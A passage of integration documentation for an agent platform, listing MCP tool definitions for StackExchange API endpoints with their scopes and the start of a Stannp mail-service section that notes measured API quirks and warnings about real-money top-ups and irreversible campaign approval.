Scopes: none. stackexchange_get_answers (read) — Get answers via GET /answers GET /api/v1/stackexchange/answers. Scopes: none. stackexchange_get_answers_by_id_flags_options (read) — Get answers flags options by id via GET /answers/{id}/flags/options GET /api/v1/stackexchange/answers/{id}/flags/options. Scopes: none. stackexchange_get_answers_by_ids (read) — Get answers by ids via GET /answers/{ids} GET /api/v1/stackexchange/answers/{ids}. Scopes: none. stackexchange_get_answers_by_ids_comments (read) — Get answers comments by ids via GET /answers/{ids}/comments GET /api/v1/stackexchange/answers/{ids}/comments. Scopes: none. stackexchange_get_answers_by_ids_questions (read) — Get answers questions by ids via GET /answers/{ids}/questions GET /api/v1/stackexchange/answers/{ids}/questions. Scopes: none. stackexchange_get_apps_by_accesstokens_de_authenticate (write, destructive) — Get apps de-authenticate by accessTokens via GET /apps/{accessTokens}/de-authenticate GET /api/v1/stackexchange/apps/{accessTokens}/de-authenticate. Scopes: none. stackexchange_get_badges (read) — Get badges via GET /badges GET /api/v1/stackexchange/badges. Scopes: none. stackexchange_get_badges_by_ids (read) — Get badges by ids via GET /badges/{ids} GET /api/v1/stackexchange/badges/{ids}. Scopes: none. stackexchange_get_badges_by_ids_recipients (read) — Get badges recipients by ids via GET /badges/{ids}/recipients GET /api/v1/stackexchange/badges/{ids}/recipients. Scopes: none. stackexchange_get_badges_name (read) — Get badges name via GET /badges/name GET /api/v1/stackexchange/badges/name. Scopes: none. stackexchange_get_badges_recipients (read) — Get badges recipients via GET /badges/recipients GET /api/v1/stackexchange/badges/recipients. Scopes: none. stackexchange_get_badges_tags (read) — Get badges tags via GET /badges/tags GET /api/v1/stackexchange/badges/tags. Scopes: none. stackexchange_get_collectives (read) — Get collectives via GET /collectives GET /api/v1/stackexchange/collectives. Scopes: none. stackexchange_get_collectives_by_slugs (read) — Get collectives by slugs via GET /collectives/{slugs} GET /api/v1/stackexchange/collectives/{slugs}. Scopes: none. stackexchange_get_collectives_by_slugs_answers (read) — Get collectives answers by slugs via GET /collectives/{slugs}/answers GET /api/v1/stackexchange/collectives/{slugs}/answers. Scopes: none. stackexchange_get_collectives_by_slugs_questions (read) — Get collectives questions by slugs via GET /collectives/{slugs}/questions GET /api/v1/stackexchange/collectives/{slugs}/questions. Scopes: none. stackexchange_get_collectives_by_slugs_tags (read) — Get collectives tags by slugs via GET /collectives/{slugs}/tags GET /api/v1/stackexchange/collectives/{slugs}/tags. Scopes: none. stackexchange_get_collectives_by_slugs_users (read) — Get collectives users by slugs via GET /collectives/{slugs}/users GET /api/v1/stackexchange/collectives/{slugs}/users. Scopes: none. stackexchange_get_comments (read) — Get comments via GET /comments GET /api/v1/stackexchange/comments. Scopes: none. stackexchange_get_comments_by_id_flags_options (read) — Get comments flags options by id via GET /comments/{id}/flags/options GET /api/v1/stackexchange/comments/{id}/flags/options. Scopes: none. stackexchange_get_comments_by_ids (read) — Get comments by ids via GET /comments/{ids} GET /api/v1/stackexchange/comments/{ids}. Scopes: none. stackexchange_get_errors (read) — Get errors via GET /errors GET /api/v1/stackexchange/errors. Scopes: none. stackexchange_get_errors_by_id (read) — Get errors by id via GET /errors/{id} GET /api/v1/stackexchange/errors/{id}. Scopes: none. stackexchange_get_events (read) — Get events via GET /events GET /api/v1/stackexchange/events. Scopes: none. stackexchange_get_filters_by_filters (read) — Get filters by filters via GET /filters/{filters} GET /api/v1/stackexchange/filters/{filters}. Scopes: none. stackexchange_get_filters_create (read) — Get filters create via GET /filters/create GET /api/v1/stackexchange/filters/create. Scopes: none. stackexchange_get_inbox (read) — Get inbox via GET /inbox GET /api/v1/stackexchange/inbox. Scopes: read_inbox. stackexchange_get_inbox_unread (read) — Get inbox unread via GET /inbox/unread GET /api/v1/stackexchange/inbox/unread. Scopes: read_inbox. stackexchange_get_info (read) — Get site info via GET /info GET /api/v1/stackexchange/info. Scopes: none. stackexchange_get_me (read) — Get the signed-in user via GET /me GET /api/v1/stackexchange/me. Scopes: none. stackexchange_get_me_achievements (read) — Get me achievements via GET /me/achievements GET /api/v1/stackexchange/me/achievements. Scopes: none. stackexchange_get_me_answers (read) — Get me answers via GET /me/answers GET /api/v1/stackexchange/me/answers. Scopes: none. stackexchange_get_me_associated (read) — Get me associated via GET /me/associated GET /api/v1/stackexchange/me/associated. Scopes: none. stackexchange_get_me_badges (read) — Get me badges via GET /me/badges GET /api/v1/stackexchange/me/badges. Scopes: none. stackexchange_get_me_comments (read) — Get me comments via GET /me/comments GET /api/v1/stackexchange/me/comments. Scopes: none. stackexchange_get_me_comments_by_toid (read) — Get me comments by toId via GET /me/comments/{toId} GET /api/v1/stackexchange/me/comments/{toId}. Scopes: none. stackexchange_get_me_favorites (read) — Get me favorites via GET /me/favorites GET /api/v1/stackexchange/me/favorites. Scopes: none. stackexchange_get_me_inbox (read) — Get me inbox via GET /me/inbox GET /api/v1/stackexchange/me/inbox. Scopes: read_inbox. stackexchange_get_me_inbox_unread (read) — Get me inbox unread via GET /me/inbox/unread GET /api/v1/stackexchange/me/inbox/unread. Scopes: read_inbox. stackexchange_get_me_mentioned (read) — Get me mentioned via GET /me/mentioned GET /api/v1/stackexchange/me/mentioned. Scopes: none. stackexchange_get_me_merges (read) — Get me merges via GET /me/merges GET /api/v1/stackexchange/me/merges. Scopes: none. stackexchange_get_me_network_activity (read) — Get me network activity via GET /me/network-activity GET /api/v1/stackexchange/me/network-activity. Scopes: none. stackexchange_get_me_notifications (read) — Get me notifications via GET /me/notifications GET /api/v1/stackexchange/me/notifications. Scopes: read_inbox. stackexchange_get_me_notifications_unread (read) — Get me notifications unread via GET /me/notifications/unread GET /api/v1/stackexchange/me/notifications/unread. Scopes: read_inbox. stackexchange_get_me_posts (read) — Get me posts via GET /me/posts GET /api/v1/stackexchange/me/posts. Scopes: none. stackexchange_get_me_privileges (read) — Get me privileges via GET /me/privileges GET /api/v1/stackexchange/me/privileges. Scopes: none. stackexchange_get_me_questions (read) — Get me questions via GET /me/questions GET /api/v1/stackexchange/me/questions. Scopes: none. stackexchange_get_me_questions_featured (read) — Get me questions featured via GET /me/questions/featured GET /api/v1/stackexchange/me/questions/featured. Scopes: none. stackexchange_get_me_questions_no_answers (read) — Get me questions with no answers via GET /me/questions/no-answers GET /api/v1/stackexchange/me/questions/no-answers. Scopes: none. stackexchange_get_me_questions_unaccepted (read) — Get me questions unaccepted via GET /me/questions/unaccepted GET /api/v1/stackexchange/me/questions/unaccepted. Scopes: none. stackexchange_get_me_questions_unanswered (read) — Get me questions unanswered via GET /me/questions/unanswered GET /api/v1/stackexchange/me/questions/unanswered. Scopes: none. stackexchange_get_me_reputation (read) — Get me reputation via GET /me/reputation GET /api/v1/stackexchange/me/reputation. Scopes: none. stackexchange_get_me_reputation_history (read) — Get me reputation history via GET /me/reputation-history GET /api/v1/stackexchange/me/reputation-history. Scopes: none. stackexchange_get_me_reputation_history_full (read) — Get me reputation history full via GET /me/reputation-history/full GET /api/v1/stackexchange/me/reputation-history/full. Scopes: none. stackexchange_get_me_suggested_edits (read) — Get me suggested edits via GET /me/suggested-edits GET /api/v1/stackexchange/me/suggested-edits. Scopes: none. stackexchange_get_me_tag_preferences (read) — Get me tag preferences via GET /me/tag-preferences GET /api/v1/stackexchange/me/tag-preferences. Scopes: private_info. stackexchange_get_me_tags (read) — Get me tags via GET /me/tags GET /api/v1/stackexchange/me/tags. Scopes: none. stackexchange_get_me_tags_by_tags_top_answers (read) — Get me tags top answers by tags via GET /me/tags/{tags}/top-answers GET /api/v1/stackexchange/me/tags/{tags}/top-answers. Scopes: none. stackexchange_get_me_tags_by_tags_top_questions (read) — Get me tags top questions by tags via GET /me/tags/{tags}/top-questions GET /api/v1/stackexchange/me/tags/{tags}/top-questions. Scopes: none. stackexchange_get_me_timeline (read) — Get me timeline via GET /me/timeline GET /api/v1/stackexchange/me/timeline. Scopes: none. stackexchange_get_me_top_answer_tags (read) — Get me top answer tags via GET /me/top-answer-tags GET /api/v1/stackexchange/me/top-answer-tags. Scopes: none. stackexchange_get_me_top_question_tags (read) — Get me top question tags via GET /me/top-question-tags GET /api/v1/stackexchange/me/top-question-tags. Scopes: none. stackexchange_get_me_top_tags (read) — Get me top tags via GET /me/top-tags GET /api/v1/stackexchange/me/top-tags. Scopes: none. stackexchange_get_notifications (read) — Get notifications via GET /notifications GET /api/v1/stackexchange/notifications. Scopes: read_inbox. stackexchange_get_notifications_unread (read) — Get notifications unread via GET /notifications/unread GET /api/v1/stackexchange/notifications/unread. Scopes: read_inbox. stackexchange_get_posts (read) — Get posts via GET /posts GET /api/v1/stackexchange/posts. Scopes: none. stackexchange_get_posts_by_ids (read) — Get posts by ids via GET /posts/{ids} GET /api/v1/stackexchange/posts/{ids}. Scopes: none. stackexchange_get_posts_by_ids_comments (read) — Get posts comments by ids via GET /posts/{ids}/comments GET /api/v1/stackexchange/posts/{ids}/comments. Scopes: none. stackexchange_get_posts_by_ids_revisions (read) — Get posts revisions by ids via GET /posts/{ids}/revisions GET /api/v1/stackexchange/posts/{ids}/revisions. Scopes: none. stackexchange_get_posts_by_ids_suggested_edits (read) — Get posts suggested edits by ids via GET /posts/{ids}/suggested-edits GET /api/v1/stackexchange/posts/{ids}/suggested-edits. Scopes: none. stackexchange_get_privileges (read) — Get privileges via GET /privileges GET /api/v1/stackexchange/privileges. Scopes: none. stackexchange_get_questions (read) — Get questions via GET /questions GET /api/v1/stackexchange/questions. Scopes: none. stackexchange_get_questions_by_id_close_options (read) — Get questions close options by id via GET /questions/{id}/close/options GET /api/v1/stackexchange/questions/{id}/close/options. Scopes: none. stackexchange_get_questions_by_id_flags_options (read) — Get questions flags options by id via GET /questions/{id}/flags/options GET /api/v1/stackexchange/questions/{id}/flags/options. Scopes: none. stackexchange_get_questions_by_ids (read) — Get questions by ids via GET /questions/{ids} GET /api/v1/stackexchange/questions/{ids}. Scopes: none. stackexchange_get_questions_by_ids_answers (read) — Get questions answers by ids via GET /questions/{ids}/answers GET /api/v1/stackexchange/questions/{ids}/answers. Scopes: none. stackexchange_get_questions_by_ids_comments (read) — Get questions comments by ids via GET /questions/{ids}/comments GET /api/v1/stackexchange/questions/{ids}/comments. Scopes: none. stackexchange_get_questions_by_ids_linked (read) — Get questions linked by ids via GET /questions/{ids}/linked GET /api/v1/stackexchange/questions/{ids}/linked. Scopes: none. stackexchange_get_questions_by_ids_related (read) — Get questions related by ids via GET /questions/{ids}/related GET /api/v1/stackexchange/questions/{ids}/related. Scopes: none. stackexchange_get_questions_by_ids_timeline (read) — Get questions timeline by ids via GET /questions/{ids}/timeline GET /api/v1/stackexchange/questions/{ids}/timeline. Scopes: none. stackexchange_get_questions_featured (read) — Get questions featured via GET /questions/featured GET /api/v1/stackexchange/questions/featured. Scopes: none. stackexchange_get_questions_no_answers (read) — Get questions with no answers via GET /questions/no-answers GET /api/v1/stackexchange/questions/no-answers. Scopes: none. stackexchange_get_questions_unanswered (read) — Get questions unanswered via GET /questions/unanswered GET /api/v1/stackexchange/questions/unanswered. Scopes: none. stackexchange_get_questions_unanswered_my_tags (read) — Get questions unanswered in my tags via GET /questions/unanswered/my-tags GET /api/v1/stackexchange/questions/unanswered/my-tags. Scopes: none. stackexchange_get_revisions_by_ids (read) — Get revisions by ids via GET /revisions/{ids} GET /api/v1/stackexchange/revisions/{ids}. Scopes: none. stackexchange_get_search (read) — Get search via GET /search GET /api/v1/stackexchange/search. Scopes: none. stackexchange_get_search_advanced (read) — Get search advanced via GET /search/advanced GET /api/v1/stackexchange/search/advanced. Scopes: none. stackexchange_get_search_excerpts (read) — Get search excerpts via GET /search/excerpts GET /api/v1/stackexchange/search/excerpts. Scopes: none. stackexchange_get_similar (read) — Get similar via GET /similar GET /api/v1/stackexchange/similar. Scopes: none. stackexchange_get_sites (read) — Get sites via GET /sites GET /api/v1/stackexchange/sites. Scopes: none. stackexchange_get_suggested_edits (read) — Get suggested edits via GET /suggested-edits GET /api/v1/stackexchange/suggested-edits. Scopes: none. stackexchange_get_suggested_edits_by_ids (read) — Get suggested edits by ids via GET /suggested-edits/{ids} GET /api/v1/stackexchange/suggested-edits/{ids}. Scopes: none. stackexchange_get_tags (read) — Get tags via GET /tags GET /api/v1/stackexchange/tags. Scopes: none. stackexchange_get_tags_by_tag_top_answerers_by_period (read) — Get tags top answerers by tag, period via GET /tags/{tag}/top-answerers/{period} GET /api/v1/stackexchange/tags/{tag}/top-answerers/{period}. Scopes: none. stackexchange_get_tags_by_tag_top_askers_by_period (read) — Get tags top askers by tag, period via GET /tags/{tag}/top-askers/{period} GET /api/v1/stackexchange/tags/{tag}/top-askers/{period}. Scopes: none. stackexchange_get_tags_by_tags_faq (read) — Get tags FAQ by tags via GET /tags/{tags}/faq GET /api/v1/stackexchange/tags/{tags}/faq. Scopes: none. stackexchange_get_tags_by_tags_info (read) — Get tags site info by tags via GET /tags/{tags}/info GET /api/v1/stackexchange/tags/{tags}/info. Scopes: none. stackexchange_get_tags_by_tags_related (read) — Get tags related by tags via GET /tags/{tags}/related GET /api/v1/stackexchange/tags/{tags}/related. Scopes: none. stackexchange_get_tags_by_tags_synonyms (read) — Get tags synonyms by tags via GET /tags/{tags}/synonyms GET /api/v1/stackexchange/tags/{tags}/synonyms. Scopes: none. stackexchange_get_tags_by_tags_wikis (read) — Get tags wikis by tags via GET /tags/{tags}/wikis GET /api/v1/stackexchange/tags/{tags}/wikis. Scopes: none. stackexchange_get_tags_moderator_only (read) — Get tags moderator only via GET /tags/moderator-only GET /api/v1/stackexchange/tags/moderator-only. Scopes: none. stackexchange_get_tags_required (read) — Get tags required via GET /tags/required GET /api/v1/stackexchange/tags/required. Scopes: none. stackexchange_get_tags_synonyms (read) — Get tags synonyms via GET /tags/synonyms GET /api/v1/stackexchange/tags/synonyms. Scopes: none. stackexchange_get_users (read) — Get users via GET /users GET /api/v1/stackexchange/users. Scopes: none. stackexchange_get_users_by_id_achievements (read) — Get users achievements by id via GET /users/{id}/achievements GET /api/v1/stackexchange/users/{id}/achievements. Scopes: none. stackexchange_get_users_by_id_inbox (read) — Get users inbox by id via GET /users/{id}/inbox GET /api/v1/stackexchange/users/{id}/inbox. Scopes: read_inbox. stackexchange_get_users_by_id_inbox_unread (read) — Get users inbox unread by id via GET /users/{id}/inbox/unread GET /api/v1/stackexchange/users/{id}/inbox/unread. Scopes: read_inbox. stackexchange_get_users_by_id_network_activity (read) — Get users network activity by id via GET /users/{id}/network-activity GET /api/v1/stackexchange/users/{id}/network-activity. Scopes: none. stackexchange_get_users_by_id_notifications (read) — Get users notifications by id via GET /users/{id}/notifications GET /api/v1/stackexchange/users/{id}/notifications. Scopes: read_inbox. stackexchange_get_users_by_id_notifications_unread (read) — Get users notifications unread by id via GET /users/{id}/notifications/unread GET /api/v1/stackexchange/users/{id}/notifications/unread. Scopes: read_inbox. stackexchange_get_users_by_id_privileges (read) — Get users privileges by id via GET /users/{id}/privileges GET /api/v1/stackexchange/users/{id}/privileges. Scopes: none. stackexchange_get_users_by_id_reputation_history_full (read) — Get users reputation history full by id via GET /users/{id}/reputation-history/full GET /api/v1/stackexchange/users/{id}/reputation-history/full. Scopes: private_info. stackexchange_get_users_by_id_tag_preferences (read) — Get users tag preferences by id via GET /users/{id}/tag-preferences GET /api/v1/stackexchange/users/{id}/tag-preferences. Scopes: private_info. stackexchange_get_users_by_id_tags_by_tags_top_answers (read) — Get users tags top answers by id, tags via GET /users/{id}/tags/{tags}/top-answers GET /api/v1/stackexchange/users/{id}/tags/{tags}/top-answers. Scopes: none. stackexchange_get_users_by_id_tags_by_tags_top_questions (read) — Get users tags top questions by id, tags via GET /users/{id}/tags/{tags}/top-questions GET /api/v1/stackexchange/users/{id}/tags/{tags}/top-questions. Scopes: none. stackexchange_get_users_by_id_top_answer_tags (read) — Get users top answer tags by id via GET /users/{id}/top-answer-tags GET /api/v1/stackexchange/users/{id}/top-answer-tags. Scopes: none. stackexchange_get_users_by_id_top_question_tags (read) — Get users top question tags by id via GET /users/{id}/top-question-tags GET /api/v1/stackexchange/users/{id}/top-question-tags. Scopes: none. stackexchange_get_users_by_id_top_tags (read) — Get users top tags by id via GET /users/{id}/top-tags GET /api/v1/stackexchange/users/{id}/top-tags. Scopes: none. stackexchange_get_users_by_ids (read) — Get users by ids via GET /users/{ids} GET /api/v1/stackexchange/users/{ids}. Scopes: none. stackexchange_get_users_by_ids_answers (read) — Get users answers by ids via GET /users/{ids}/answers GET /api/v1/stackexchange/users/{ids}/answers. Scopes: none. stackexchange_get_users_by_ids_associated (read) — Get users associated by ids via GET /users/{ids}/associated GET /api/v1/stackexchange/users/{ids}/associated. Scopes: none. stackexchange_get_users_by_ids_badges (read) — Get users badges by ids via GET /users/{ids}/badges GET /api/v1/stackexchange/users/{ids}/badges. Scopes: none. stackexchange_get_users_by_ids_comments (read) — Get users comments by ids via GET /users/{ids}/comments GET /api/v1/stackexchange/users/{ids}/comments. Scopes: none. stackexchange_get_users_by_ids_comments_by_toid (read) — Get users comments by ids, toid via GET /users/{ids}/comments/{toid} GET /api/v1/stackexchange/users/{ids}/comments/{toid}. Scopes: none. stackexchange_get_users_by_ids_favorites (read) — Get users favorites by ids via GET /users/{ids}/favorites GET /api/v1/stackexchange/users/{ids}/favorites. Scopes: none. stackexchange_get_users_by_ids_mentioned (read) — Get users mentioned by ids via GET /users/{ids}/mentioned GET /api/v1/stackexchange/users/{ids}/mentioned. Scopes: none. stackexchange_get_users_by_ids_merges (read) — Get users merges by ids via GET /users/{ids}/merges GET /api/v1/stackexchange/users/{ids}/merges. Scopes: none. stackexchange_get_users_by_ids_posts (read) — Get users posts by ids via GET /users/{ids}/posts GET /api/v1/stackexchange/users/{ids}/posts. Scopes: none. stackexchange_get_users_by_ids_questions (read) — Get users questions by ids via GET /users/{ids}/questions GET /api/v1/stackexchange/users/{ids}/questions. Scopes: none. stackexchange_get_users_by_ids_questions_featured (read) — Get users questions featured by ids via GET /users/{ids}/questions/featured GET /api/v1/stackexchange/users/{ids}/questions/featured. Scopes: none. stackexchange_get_users_by_ids_questions_no_answers (read) — Get users questions with no answers by ids via GET /users/{ids}/questions/no-answers GET /api/v1/stackexchange/users/{ids}/questions/no-answers. Scopes: none. stackexchange_get_users_by_ids_questions_unaccepted (read) — Get users questions unaccepted by ids via GET /users/{ids}/questions/unaccepted GET /api/v1/stackexchange/users/{ids}/questions/unaccepted. Scopes: none. stackexchange_get_users_by_ids_questions_unanswered (read) — Get users questions unanswered by ids via GET /users/{ids}/questions/unanswered GET /api/v1/stackexchange/users/{ids}/questions/unanswered. Scopes: none. stackexchange_get_users_by_ids_reputation (read) — Get users reputation by ids via GET /users/{ids}/reputation GET /api/v1/stackexchange/users/{ids}/reputation. Scopes: none. stackexchange_get_users_by_ids_reputation_history (read) — Get users reputation history by ids via GET /users/{ids}/reputation-history GET /api/v1/stackexchange/users/{ids}/reputation-history. Scopes: none. stackexchange_get_users_by_ids_suggested_edits (read) — Get users suggested edits by ids via GET /users/{ids}/suggested-edits GET /api/v1/stackexchange/users/{ids}/suggested-edits. Scopes: none. stackexchange_get_users_by_ids_tags (read) — Get users tags by ids via GET /users/{ids}/tags GET /api/v1/stackexchange/users/{ids}/tags. Scopes: none. stackexchange_get_users_by_ids_timeline (read) — Get users timeline by ids via GET /users/{ids}/timeline GET /api/v1/stackexchange/users/{ids}/timeline. Scopes: none. stackexchange_get_users_moderators (read) — Get users moderators via GET /users/moderators GET /api/v1/stackexchange/users/moderators. Scopes: none. stackexchange_get_users_moderators_elected (read) — Get users moderators elected via GET /users/moderators/elected GET /api/v1/stackexchange/users/moderators/elected. Scopes: none. stackexchange_post_answers_by_id_accept (write) — Post answers accept by id via POST /answers/{id}/accept POST /api/v1/stackexchange/answers/{id}/accept. Scopes: write_access. stackexchange_post_answers_by_id_accept_undo (write) — Post answers accept undo by id via POST /answers/{id}/accept/undo POST /api/v1/stackexchange/answers/{id}/accept/undo. Scopes: write_access. stackexchange_post_answers_by_id_delete (write, destructive) — Post answers delete by id via POST /answers/{id}/delete POST /api/v1/stackexchange/answers/{id}/delete. Scopes: write_access. stackexchange_post_answers_by_id_downvote (write) — Post answers downvote by id via POST /answers/{id}/downvote POST /api/v1/stackexchange/answers/{id}/downvote. Scopes: write_access. stackexchange_post_answers_by_id_downvote_undo (write) — Post answers downvote undo by id via POST /answers/{id}/downvote/undo POST /api/v1/stackexchange/answers/{id}/downvote/undo. Scopes: write_access. stackexchange_post_answers_by_id_edit (write) — Post answers edit by id via POST /answers/{id}/edit POST /api/v1/stackexchange/answers/{id}/edit. Scopes: write_access. stackexchange_post_answers_by_id_flags_add (write) — Post answers flags add by id via POST /answers/{id}/flags/add POST /api/v1/stackexchange/answers/{id}/flags/add. Scopes: write_access. stackexchange_post_answers_by_id_recommend (write) — Post answers recommend by id via POST /answers/{id}/recommend POST /api/v1/stackexchange/answers/{id}/recommend. Scopes: write_access. stackexchange_post_answers_by_id_recommend_undo (write) — Post answers recommend undo by id via POST /answers/{id}/recommend/undo POST /api/v1/stackexchange/answers/{id}/recommend/undo. Scopes: write_access. stackexchange_post_answers_by_id_suggested_edit_add (write) — Post answers suggested edit add by id via POST /answers/{id}/suggested-edit/add POST /api/v1/stackexchange/answers/{id}/suggested-edit/add. Scopes: write_access. stackexchange_post_answers_by_id_upvote (write) — Post answers upvote by id via POST /answers/{id}/upvote POST /api/v1/stackexchange/answers/{id}/upvote. Scopes: write_access. stackexchange_post_answers_by_id_upvote_undo (write) — Post answers upvote undo by id via POST /answers/{id}/upvote/undo POST /api/v1/stackexchange/answers/{id}/upvote/undo. Scopes: write_access. stackexchange_post_comments_by_id_delete (write, destructive) — Post comments delete by id via POST /comments/{id}/delete POST /api/v1/stackexchange/comments/{id}/delete. Scopes: write_access. stackexchange_post_comments_by_id_edit (write) — Post comments edit by id via POST /comments/{id}/edit POST /api/v1/stackexchange/comments/{id}/edit. Scopes: write_access. stackexchange_post_comments_by_id_flags_add (write) — Post comments flags add by id via POST /comments/{id}/flags/add POST /api/v1/stackexchange/comments/{id}/flags/add. Scopes: write_access. stackexchange_post_comments_by_id_upvote (write) — Post comments upvote by id via POST /comments/{id}/upvote POST /api/v1/stackexchange/comments/{id}/upvote. Scopes: write_access. stackexchange_post_comments_by_id_upvote_undo (write) — Post comments upvote undo by id via POST /comments/{id}/upvote/undo POST /api/v1/stackexchange/comments/{id}/upvote/undo. Scopes: write_access. stackexchange_post_me_tag_preferences_edit (write) — Post me tag preferences edit via POST /me/tag-preferences/edit POST /api/v1/stackexchange/me/tag-preferences/edit. Scopes: private_info, write_access. stackexchange_post_posts_by_id_comments_add (write) — Post posts comments add by id via POST /posts/{id}/comments/add POST /api/v1/stackexchange/posts/{id}/comments/add. Scopes: write_access. stackexchange_post_posts_by_id_comments_render (read) — Post posts comments render by id via POST /posts/{id}/comments/render POST /api/v1/stackexchange/posts/{id}/comments/render. Scopes: none. stackexchange_post_question_by_id_favorite_undo (write) — Post question favorite undo by id via POST /question/{id}/favorite/undo POST /api/v1/stackexchange/question/{id}/favorite/undo. Scopes: write_access. stackexchange_post_question_by_id_upvote_undo (write) — Post question upvote undo by id via POST /question/{id}/upvote/undo POST /api/v1/stackexchange/question/{id}/upvote/undo. Scopes: write_access. stackexchange_post_questions_add (write) — Post questions add via POST /questions/add POST /api/v1/stackexchange/questions/add. Scopes: write_access. stackexchange_post_questions_by_id_answers_add (write) — Post questions answers add by id via POST /questions/{id}/answers/add POST /api/v1/stackexchange/questions/{id}/answers/add. Scopes: write_access. stackexchange_post_questions_by_id_answers_render (read) — Post questions answers render by id via POST /questions/{id}/answers/render POST /api/v1/stackexchange/questions/{id}/answers/render. Scopes: none. stackexchange_post_questions_by_id_delete (write, destructive) — Post questions delete by id via POST /questions/{id}/delete POST /api/v1/stackexchange/questions/{id}/delete. Scopes: write_access. stackexchange_post_questions_by_id_downvote (write) — Post questions downvote by id via POST /questions/{id}/downvote POST /api/v1/stackexchange/questions/{id}/downvote. Scopes: write_access. stackexchange_post_questions_by_id_downvote_undo (write) — Post questions downvote undo by id via POST /questions/{id}/downvote/undo POST /api/v1/stackexchange/questions/{id}/downvote/undo. Scopes: write_access. stackexchange_post_questions_by_id_edit (write) — Post questions edit by id via POST /questions/{id}/edit POST /api/v1/stackexchange/questions/{id}/edit. Scopes: write_access. stackexchange_post_questions_by_id_favorite (write) — Post questions favorite by id via POST /questions/{id}/favorite POST /api/v1/stackexchange/questions/{id}/favorite. Scopes: write_access. stackexchange_post_questions_by_id_flags_add (write) — Post questions flags add by id via POST /questions/{id}/flags/add POST /api/v1/stackexchange/questions/{id}/flags/add. Scopes: write_access. stackexchange_post_questions_by_id_suggested_edit_add (write) — Post questions suggested edit add by id via POST /questions/{id}/suggested-edit/add POST /api/v1/stackexchange/questions/{id}/suggested-edit/add. Scopes: write_access. stackexchange_post_questions_by_id_upvote (write) — Post questions upvote by id via POST /questions/{id}/upvote POST /api/v1/stackexchange/questions/{id}/upvote. Scopes: write_access. stackexchange_post_questions_render (read) — Post questions render via POST /questions/render POST /api/v1/stackexchange/questions/render. Scopes: none. stackexchange_post_users_by_id_tag_preferences_edit (write) — Post users tag preferences edit by id via POST /users/{id}/tag-preferences/edit POST /api/v1/stackexchange/users/{id}/tag-preferences/edit. Scopes: private_info, write_access. ================================================================================ ## Stannp URL: https://www.agenticfabriq.com/integrations/stannp Section: Integrated Tools Stannp — 42 MCP tools Provider key: stannp. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. stannp_get_v1_accounts_balance (read) — Get Account Balance via GET /v1/accounts/balance. Check your account balance. GET /api/v1/stannp/v1/accounts/balance. Scopes: api. stannp_get_v1_campaigns_get_by_id (read) — Get Campaign via GET /v1/campaigns/get/{id}. Get details for a specific campaign. GET /api/v1/stannp/v1/campaigns/get/{id}. Scopes: api. stannp_get_v1_campaigns_list (read) — List Campaigns via GET /v1/campaigns/list. Get a list of your campaigns. GET /api/v1/stannp/v1/campaigns/list. Scopes: api. stannp_get_v1_files_folders (read) — List Folders via GET /v1/files/folders. List folders in your secure file transfer area. GET /api/v1/stannp/v1/files/folders. Scopes: api. stannp_get_v1_groups_list (read) — List Groups via GET /v1/groups/list. Get a list of mailing groups on your account. Supports pagination. GET /api/v1/stannp/v1/groups/list. Scopes: api. stannp_get_v1_letters_get_by_id (read) — Get Letter via GET /v1/letters/get/{id}. Obtain the mailpiece object for the specified letter ID. Measured 2026-09-16: an id that does not exist answers HTTP 400 {"error":"Could not find the resource"}, not the 404 the reference's status table implies. GET /api/v1/stannp/v1/letters/get/{id}. Scopes: api. stannp_get_v1_postcards_get_by_id (read) — Get Postcard via GET /v1/postcards/get/{id}. Obtain the mailpiece object for the specified postcard ID. Measured 2026-09-16: an id that does not exist answers HTTP 400 {"error":"Could not find the resource"}, not the 404 the reference's status table implies. GET /api/v1/stannp/v1/postcards/get/{id}. Scopes: api. stannp_get_v1_qrcode_create (read) — Create QR Code via GET /v1/qrcode/create. Generate a QR code image. **Requires a PUBLIC KEY** (not a private API key). The `data` parameter accepts any content, typically a URL. Use template variables (e.g., `{{url}}`) for personalised QR codes per recipient during mail merge. Returns a JPEG image. Returns a JPEG image, not the {success, data} envelope: this tool answers {content_type, content_length, content_base64} instead, and refuses to inline anything over its byte bound. Measured 2026-09-16: size=100 -> 4,692 bytes, size=2000 -> 168,344 bytes. The reference says this endpoint "Requires a PUBLIC KEY (not a private API key)"; measured, the account's own API key is accepted. GET /api/v1/stannp/v1/qrcode/create. Scopes: api. stannp_get_v1_recipients_get_by_id (read) — Get Recipient via GET /v1/recipients/get/{id}. Get a single recipient by ID. GET /api/v1/stannp/v1/recipients/get/{id}. Scopes: api. stannp_get_v1_recipients_list (read) — List Recipients via GET /v1/recipients/list. Get a list of recipient objects. Include group_id to filter by group. Supports pagination via offset and limit. GET /api/v1/stannp/v1/recipients/list. Scopes: api. stannp_get_v1_reporting_list_by_startdate_by_enddate (read) — List Reported Mailpieces via GET /v1/reporting/list/{startdate}/{enddate}/{status}/{tag}. Retrieve a list of mailpiece objects sent within a date range. Status and tag filters are optional. status and tag are OPTIONAL trailing path segments at Stannp, which no ledger can express; this tool takes them as optional arguments and composes the path. All four shapes were measured 200 on 2026-09-16, including tag-without-status, which sends an empty status segment. GET /api/v1/stannp/v1/reporting/list/{startdate}/{enddate}. Scopes: api. stannp_get_v1_reporting_summary_by_startdate_by_enddate (read) — Get Reporting Summary via GET /v1/reporting/summary/{startdate}/{enddate}. Retrieve a status summary on individual items within a date range. Dates in YYYY-MM-DD format. The end date includes everything on that day. GET /api/v1/stannp/v1/reporting/summary/{startdate}/{enddate}. Scopes: api. stannp_get_v1_templates_list (read) — List Templates via GET /v1/templates/list. Get the templates created on your account. GET /api/v1/stannp/v1/templates/list. Scopes: api. stannp_post_v1_accounts_topup (write) — SPENDS REAL MONEY: this CHARGES THE SAVED PAYMENT CARD on the Stannp account for the amount given. There is no test mode. Top Up Account via POST /v1/accounts/topup. Top up your balance using a saved default card. Consider enabling auto top-up to ensure sends are not impacted by a low balance. POST /api/v1/stannp/v1/accounts/topup. Scopes: api. stannp_post_v1_addresses_validate (read) — Validate Address via POST /v1/addresses/validate. Validate a postal address. Currently supports UK and US addresses. POST /api/v1/stannp/v1/addresses/validate. Scopes: api. stannp_post_v1_campaigns_approve (write) — IRREVERSIBLE: approving a campaign locks its design and recipient selection, and is the step before 